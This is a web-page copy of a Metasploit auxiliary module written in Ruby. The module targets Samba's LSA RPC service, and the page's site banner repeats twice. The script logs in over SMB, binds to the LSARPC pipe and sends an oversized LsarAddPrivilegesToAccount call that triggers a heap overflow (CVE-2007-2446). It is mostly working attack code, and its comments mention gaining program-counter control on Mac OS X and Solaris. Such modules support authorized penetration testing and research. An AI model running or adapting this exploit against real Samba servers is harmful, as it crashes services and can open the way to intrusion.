Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/dos/samba/lsa_addprivs_heap.rb
Views: 11655
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::DCERPC7include Msf::Exploit::Remote::SMB::Client8include Msf::Auxiliary::Dos910def initialize(info = {})11super(update_info(info,12'Name' => 'Samba lsa_io_privilege_set Heap Overflow',13'Description' => %q{14This module triggers a heap overflow in the LSA RPC service15of the Samba daemon.16},17'Author' => [ 'hdm' ],18'License' => MSF_LICENSE,19'References' =>20[21['CVE', '2007-2446'],22['OSVDB', '34699'],23]24))2526register_options(27[28OptString.new('SMBPIPE', [ true, "The pipe name to use", 'LSARPC']),29])3031end3233def run3435pipe = datastore['SMBPIPE'].downcase3637print_status("Connecting to the SMB service...")38connect()39smb_login()4041datastore['DCERPC::fake_bind_multi'] = false4243handle = dcerpc_handle('12345778-1234-abcd-ef00-0123456789ab', '0.0', 'ncacn_np', ["\\#{pipe}"])44print_status("Binding to #{handle} ...")45dcerpc_bind(handle)46print_status("Bound to #{handle} ...")4748# Linux: Needs heap magic to work around glibc (or TALLOC mode for 3.0.20+)49# Mac OS X: PC control via memcpy to stack ptr50# Solaris: PC control via memcpy to stack ptr5152stub = lsa_open_policy(dcerpc)53stub << NDR.long(1)54stub << NDR.long(0xffffffff)55stub << NDR.long(0x100)56stub << "X" * 0x1005758print_status("Calling the vulnerable function...")5960begin61# LsarAddPrivilegesToAccount62dcerpc.call(0x13, stub)63rescue Rex::Proto::DCERPC::Exceptions::NoResponse64print_good('Server did not respond, this is expected')65rescue => e66if e.to_s =~ /STATUS_PIPE_DISCONNECTED/67print_good('Server disconnected, this is expected')68else69raise e70end71end7273disconnect74end75end767778